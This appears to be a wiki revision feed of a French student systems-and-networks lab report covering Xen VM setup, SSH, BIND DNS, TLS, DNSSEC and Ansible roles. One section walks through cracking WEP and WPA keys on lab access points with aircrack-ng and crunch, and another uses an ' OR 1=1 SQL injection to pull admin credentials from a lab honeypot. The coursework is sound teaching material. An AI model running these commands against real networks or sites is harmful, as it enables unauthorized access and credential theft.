 JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb&lt;br /&gt;
 A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1&lt;br /&gt;
 5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB&lt;br /&gt;
 DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD&lt;br /&gt;
 AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV&lt;br /&gt;
 UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H&lt;br /&gt;
 XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5&lt;br /&gt;
 B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9&lt;br /&gt;
 TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X&lt;br /&gt;
 cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama&lt;br /&gt;
 7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY&lt;br /&gt;
 e0D4Wcue+OV6y/j2&lt;br /&gt;
 -----END CERTIFICATE-----&lt;br /&gt;
 subject=CN = corona59.club   &lt;br /&gt;
&lt;br /&gt;
 issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 No client certificate CA names sent&lt;br /&gt;
 Peer signing digest: SHA256&lt;br /&gt;
 Peer signature type: RSA-PSS&lt;br /&gt;
 Server Temp Key: X25519, 253 bits&lt;br /&gt;
 ---&lt;br /&gt;
 SSL handshake has read 3674 bytes and written 363 bytes&lt;br /&gt;
 Verification: OK&lt;br /&gt;
 ---&lt;br /&gt;
 New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384&lt;br /&gt;
 Server public key is 2048 bit&lt;br /&gt;
 Secure Renegotiation IS NOT supported&lt;br /&gt;
 Compression: NONE&lt;br /&gt;
 Expansion: NONE&lt;br /&gt;
 No ALPN negotiated&lt;br /&gt;
 Early data was not sent&lt;br /&gt;
 Verify return code: 0 (ok)&lt;br /&gt;
 ---&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2   ....N...j.F^....&lt;br /&gt;
     0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50   ..LB..J..8.}.[3P&lt;br /&gt;
     0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6   k..i.W}....u....&lt;br /&gt;
     0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62   .s..E...b.G....b&lt;br /&gt;
     0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0   &amp;amp;_.....TUV,..B..&lt;br /&gt;
     0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75   .\../.i(...Fi..u&lt;br /&gt;
     0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28   ..;(.......R../(&lt;br /&gt;
     0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7   .,.....D...[.lk.&lt;br /&gt;
     0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec   .0.....N...=..L.&lt;br /&gt;
     00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa   J......G.^..._..&lt;br /&gt;
     00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12   ...I.....s&amp;quot;.....&lt;br /&gt;
     00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0   .?.$..R.1.iD....&lt;br /&gt;
     00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85   .3M..?...(..m/..  &lt;br /&gt;
&lt;br /&gt;
     Start Time: 1639409551&lt;br /&gt;
     Timeout   : 7200 (sec)&lt;br /&gt;
     Verify return code: 0 (ok)&lt;br /&gt;
     Extended master secret: no&lt;br /&gt;
     Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5   ......k-.F.P&amp;quot;(..&lt;br /&gt;
     0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0   $\'@.X...A..!...&lt;br /&gt;
     0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e   .........T..p..N&lt;br /&gt;
     0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90   H......`m.....0.&lt;br /&gt;
     0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29   hZ.......$.!'6.)&lt;br /&gt;
     0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf   7:.S.*&amp;amp;.....n.k.&lt;br /&gt;
     0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55   ..D...._g....:.U&lt;br /&gt;
     0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09   ........&amp;gt;a.m....&lt;br /&gt;
     0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9   M.'..R.._.....g.&lt;br /&gt;
     00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8   ......c6........&lt;br /&gt;
     00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2   nU...St.t.s.....&lt;br /&gt;
     00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14   1Y...&amp;quot;.O#...d.\.&lt;br /&gt;
     00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e   ....K..C\'...... &lt;br /&gt;
&lt;br /&gt;
    Start Time: 1639409551&lt;br /&gt;
    Timeout   : 7200 (sec)&lt;br /&gt;
    Verify return code: 0 (ok)&lt;br /&gt;
    Extended master secret: no&lt;br /&gt;
    Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 closed&lt;br /&gt;
&lt;br /&gt;
La commande :&lt;br /&gt;
 apachectl configtest&lt;br /&gt;
nous confirme que la config est OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html&lt;br /&gt;
&lt;br /&gt;
=Securisation du DNS avec DNSSEC =&lt;br /&gt;
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec &lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club&lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club&lt;br /&gt;
&lt;br /&gt;
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private}  &lt;br /&gt;
on ajoute dans /etc/bind/db.corona59.club :&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-ksk.key&amp;quot;&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-zsk.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On signe avec la commande :&lt;br /&gt;
 dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk&lt;br /&gt;
&lt;br /&gt;
on obtient :&lt;br /&gt;
 Verifying the zone using the following algorithms:&lt;br /&gt;
 - NSEC3RSASHA1&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                         ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
 ../db.corona59.club.signed&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un fichier que l'on renomme en corona59.club.signed&lt;br /&gt;
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :&lt;br /&gt;
 zone &amp;quot;corona59.club&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club.signed&amp;quot;;&lt;br /&gt;
	allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.&lt;br /&gt;
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;br /&gt;
&lt;br /&gt;
=Injection SQL=&lt;br /&gt;
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend&lt;br /&gt;
Pour ce faire, on met dans la cellule 'identifiant' la valeur &lt;br /&gt;
 ' OR 1 = 1;&lt;br /&gt;
Coté backend, la requete  SQL effectuée ressemble probablement à&lt;br /&gt;
 select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';&lt;br /&gt;
&lt;br /&gt;
En conséquence, notre injection génère la requete :&lt;br /&gt;
 select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';&lt;br /&gt;
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table&lt;br /&gt;
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.&lt;br /&gt;
&lt;br /&gt;
=TP ASR=&lt;br /&gt;
==Setup SSH==&lt;br /&gt;
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'&lt;br /&gt;
on définit une clé SSH et créé un environnement python virtuel : &lt;br /&gt;
 $ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C &amp;quot;your.name@polytech-lille.net&amp;quot; -P ''&lt;br /&gt;
&lt;br /&gt;
 $ python3 -m venv ~/env-ansible&lt;br /&gt;
 $ . ~/env-ansible/bin/activate&lt;br /&gt;
 $ pip3 install -U setuptools wheel&lt;br /&gt;
 $ pip3 install -U ansible&lt;br /&gt;
&lt;br /&gt;
puis &lt;br /&gt;
 $ ansible-playbook -v -i inventory polytech.yaml&lt;br /&gt;
&lt;br /&gt;
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :&lt;br /&gt;
 $ cd /etc/xen&lt;br /&gt;
 $ xen create pra-11.cfg&lt;br /&gt;
 $ xen console pra-11&lt;br /&gt;
&lt;br /&gt;
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static &lt;br /&gt;
  address 172.26.145.111&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
  network 172.26.145.0&lt;br /&gt;
  gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
On &lt;br /&gt;
&lt;br /&gt;
On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.&lt;br /&gt;
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.&lt;br /&gt;
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.&lt;br /&gt;
 ---&lt;br /&gt;
 - hosts: all&lt;br /&gt;
   roles:&lt;br /&gt;
     # installs the `ssh_keys` role onto the targetted host&lt;br /&gt;
     - role: ssh_key&lt;br /&gt;
       tags: ssh_key&lt;br /&gt;
&lt;br /&gt;
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)&lt;br /&gt;
 PRA-11 ansible_ssh_host=&amp;quot;172.26.145.111&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière&lt;br /&gt;
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :&lt;br /&gt;
 #&lt;br /&gt;
 #  /etc/apt/sources.list&lt;br /&gt;
 #&lt;br /&gt;
 #&lt;br /&gt;
 # bullseye&lt;br /&gt;
 #&lt;br /&gt;
 deb     http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
 deb-src http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
 # &lt;br /&gt;
 #  Security updates&lt;br /&gt;
 # &lt;br /&gt;
 deb http://security.debian.org/debian-security bullseye-security main contrib non-free&lt;br /&gt;
&lt;br /&gt;
On installe enfin python3 sur la VM, nécessaire pour le déploiment.&lt;br /&gt;
&lt;br /&gt;
==Setup Docker==&lt;br /&gt;
On installe docker grâce à la commande &lt;br /&gt;
 $ ansible-galaxy install geerlingguy.docker&lt;br /&gt;
&lt;br /&gt;
on ajoute alors a polytech.yaml : &lt;br /&gt;
 - role: geerlingguy.docker&lt;br /&gt;
   tags: docker&lt;br /&gt;
&lt;br /&gt;
==Ip table==&lt;br /&gt;
On souhaite fermer les ports réservés à Consul. Pour cela, on utilise iptable.&lt;br /&gt;
On créé un role dédié, nommé firewall.&lt;br /&gt;
main.yml de firexall : &lt;br /&gt;
 ---&lt;br /&gt;
 - name: &amp;quot;Block TCP&amp;quot;&lt;br /&gt;
   ansible.builtin.iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     source_port: &amp;quot;\{\{ item \}\}&amp;quot;&lt;br /&gt;
     protocol: tcp&lt;br /&gt;
     match: tcp&lt;br /&gt;
     jump: DROP&lt;br /&gt;
   become: yes&lt;br /&gt;
   with_items:&lt;br /&gt;
     - &amp;quot;8600&amp;quot;&lt;br /&gt;
     - &amp;quot;8500&amp;quot;&lt;br /&gt;
     - &amp;quot;8501&amp;quot;&lt;br /&gt;
     - &amp;quot;8502&amp;quot;&lt;br /&gt;
     - &amp;quot;8300&amp;quot;&lt;br /&gt;
     - &amp;quot;8301&amp;quot;&lt;br /&gt;
     - &amp;quot;8302&amp;quot;&lt;br /&gt;
 - name: &amp;quot;Block UDP&amp;quot;&lt;br /&gt;
   ansible.builtin.iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     source_port: &amp;quot;{{ item }}&amp;quot;&lt;br /&gt;
     protocol: tcp&lt;br /&gt;
     match: tcp&lt;br /&gt;
     jump: DROP&lt;br /&gt;
   become: yes&lt;br /&gt;
   with_items:&lt;br /&gt;
     - &amp;quot;8600&amp;quot;&lt;br /&gt;
     - &amp;quot;8301&amp;quot;&lt;br /&gt;
     - &amp;quot;8302&amp;quot;&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=58001</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=58001"/>
				<updated>2022-01-12T12:30:34Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* TP ASR */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On configure également notre nameserver dans Domain &amp;gt; MON_NOM_DE_DOMAINE &amp;gt; nameservers&lt;br /&gt;
On ajoute un nameserver externe. En premier on met &amp;quot;ns.corona59.club&amp;quot;, en deuxième on met &amp;quot;ns6.gandi.net&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On ajoute au fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 ns      IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
On obtient :&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
&lt;br /&gt;
 corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800&lt;br /&gt;
 corona59.club name server ns.corona59.club.&lt;br /&gt;
 corona59.club name server ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
Si on obtient pas ça, penser à lancer la commande :&lt;br /&gt;
 tail -50 /var/log/daemon.log&lt;br /&gt;
afin de voir ce qui c'est mal passé.&lt;br /&gt;
&lt;br /&gt;
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
=Certificat SSL=&lt;br /&gt;
